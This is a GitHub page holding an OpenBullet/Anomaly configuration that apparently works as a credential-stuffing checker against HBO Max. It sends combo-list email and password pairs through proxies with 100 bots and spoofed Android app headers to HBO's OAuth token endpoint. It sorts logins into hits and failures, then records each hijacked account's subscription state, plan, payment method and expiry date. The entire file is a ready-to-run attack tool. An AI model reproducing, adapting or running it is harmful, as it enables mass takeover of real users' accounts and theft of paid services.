-
Notifications
You must be signed in to change notification settings - Fork 10
/
[CT] - HBO_MAX_APi.anom
148 lines (132 loc) · 5.73 KB
/
[CT] - HBO_MAX_APi.anom
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
[SETTINGS]
{
"Name": "HBO MAX APi",
"SuggestedBots": 100,
"MaxCPM": 0,
"LastModified": "2022-07-20T21:40:03.7440125+00:00",
"AdditionalInfo": "",
"Author": "Sparta",
"Version": "1.4.4 [Anomaly]",
"IgnoreResponseErrors": false,
"MaxRedirects": 8,
"NeedsProxies": true,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 0,
"BanProxyAfterGoodStatus": false,
"EncodeData": false,
"AllowedWordlist1": "MailPass",
"AllowedWordlist2": "",
"DataRules": [],
"CustomInputs": [],
"CaptchaUrl": "",
"Base64": "",
"Grayscale": false,
"RemoveLines": false,
"RemoveNoise": false,
"Dilate": false,
"Threshold": 1.0,
"DiffKeep": 0.0,
"DiffHide": 0.0,
"Saturate": false,
"Saturation": 0.0,
"Transparent": false,
"Contour": false,
"OnlyShow": false,
"ContrastGamma": false,
"Contrast": 1.0,
"Gamma": 1.0,
"Brightness": 1.0,
"RemoveLinesMin": 0,
"RemoveLinesMax": 0,
"Crop": false,
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"DisableNotifications": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": ""
}
[SCRIPT]
REQUEST POST "https://oauth.api.hbo.com/auth/tokens"
CONTENT "{\"client_id\":\"7161aff6-188a-4718-8d35-69c6ae58884f\",\"client_secret\":\"7161aff6-188a-4718-8d35-69c6ae58884f\",\"scope\":\"browse video_playback_free account_registration\",\"grant_type\":\"client_credentials\",\"deviceSerialNumber\":\"6fdfa460-6f85-4d75-ad81-2bdfc6577017\",\"clientDeviceData\":{\"paymentProviderCode\":\"google-play\"}}"
CONTENTTYPE "application/json"
HEADER "X-Hbo-Client-Version: Hadron/52.25.0.33 android/52.25.0.33 (ASUS_Z01QD/7.1.2)"
HEADER "X-Hbo-Device-Name: android"
HEADER "Accept: application/vnd.hbo.v9.full+json"
HEADER "X-Hbo-Device-Os-Version: 7.1.2"
HEADER "Accept-Language: en-us"
HEADER "Content-Type: application/json"
HEADER "User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; ASUS_Z01QD Build/N2G48H)"
HEADER "Host: oauth.api.hbo.com"
HEADER "Connection: Keep-Alive"
HEADER "Accept-Encoding: gzip"
HEADER "Content-Length: 316"
#accessToken PARSE "<SOURCE>" LR "\"access_token\":\"" "\",\"" -> VAR "accessToken"
REQUEST POST "https://sessions.api.hbo.com/sessions/v1/clientConfig"
CONTENT "{\"contract\":\"hadron:1.1.2.0\",\"preferredLanguages\":[\"en-us\"]}"
CONTENTTYPE "application/json"
HEADER "X-Hbo-Client-Version: Hadron/52.25.0.33 android/52.25.0.33 (ASUS_Z01QD/7.1.2)"
HEADER "X-Hbo-Device-Name: android"
HEADER "Accept: application/vnd.hbo.v9.full+json"
HEADER "X-Hbo-Device-Os-Version: 7.1.2"
HEADER "Accept-Language: en-us"
HEADER "Authorization: Bearer <accessToken>"
HEADER "Content-Type: application/json"
HEADER "User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; ASUS_Z01QD Build/N2G48H)"
HEADER "Host: sessions.api.hbo.com"
HEADER "Connection: Keep-Alive"
HEADER "Accept-Encoding: gzip"
HEADER "Content-Length: 60"
#entitlements PARSE "<SOURCE>" LR "\"entitlements\":\"" "\",\"" -> VAR "entitlements"
REQUEST POST "https://oauth-us.api.hbo.com/auth/tokens"
CONTENT "{\"grant_type\":\"user_name_password\",\"scope\":\"browse video_playback device elevated_account_management\",\"username\":\"<USER>\",\"password\":\"<PASS>\"}"
CONTENTTYPE "application/json"
HEADER "x-hbo-headwaiter: entitlements:<entitlements>"
HEADER "X-Hbo-Client-Version: Hadron/52.25.0.33 android/52.25.0.33 (ASUS_Z01QD/7.1.2)"
HEADER "X-Hbo-Device-Name: android"
HEADER "Accept: application/vnd.hbo.v9.full+json"
HEADER "X-Hbo-Device-Os-Version: 7.1.2"
HEADER "Accept-Language: en-us"
HEADER "Authorization: Bearer <accessToken>"
HEADER "Content-Type: application/json"
HEADER "User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; ASUS_Z01QD Build/N2G48H)"
HEADER "Host: oauth-us.api.hbo.com"
HEADER "Connection: Keep-Alive"
HEADER "Accept-Encoding: gzip"
HEADER "Content-Length: 171"
KEYCHECK
KEYCHAIN Success OR
KEY "access_token"
KEYCHAIN Failure OR
KEY "The email address or password is incorrect"
KEY "invalid_credentials"
#Tk PARSE "<SOURCE>" JSON "access_token" -> VAR "Tk"
REQUEST GET "https://commerce.api.hbo.com/status"
HEADER "sec-ch-ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"102\", \"Google Chrome\";v=\"102\""
HEADER "sec-ch-ua-mobile: ?0"
HEADER "authorization: Bearer <Tk>"
HEADER "content-type: application/json; charset=utf-8"
HEADER "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"
HEADER "x-hbo-client-version: Commerce-Experience/1.6.82 desktop (DESKTOP)"
HEADER "x-hbo-headwaiter: entitlements:<entitlements>,"
HEADER "sec-ch-ua-platform: \"Windows\""
HEADER "accept: */*"
HEADER "origin: https://www.hbomax.com"
HEADER "sec-fetch-site: cross-site"
HEADER "sec-fetch-mode: cors"
HEADER "sec-fetch-dest: empty"
HEADER "accept-encoding: gzip, deflate, br"
HEADER "accept-language: en-US,en;q=0.9"
#Status PARSE "<SOURCE>" JSON "userState" CreateEmpty=FALSE -> CAP "State"
#Plan PARSE "<SOURCE>" LR "Current Plan:\",\"value\":\"" "\",\"" CreateEmpty=FALSE -> CAP "Plan"
#Payment_method PARSE "<SOURCE>" LR "Your HBO Max subscription is billed through\",\"value\":\"" "\",\"" CreateEmpty=FALSE -> CAP "Payment method"
#Expiration_date PARSE "<SOURCE>" LR "\"subscriptionExpirationDate\":\"" "T" CreateEmpty=FALSE -> CAP "Expiration date"
KEYCHECK BanOnToCheck=FALSE
KEYCHAIN Custom "EXPIRED" OR
KEY "\"userState\":\"lapsed\""
KEYCHAIN Custom "FREE" OR
KEY "You’re not subscribed to HBO Max"
KEY "\"userState\":\"abandoner\""
SET CAP "Author" "Sparta"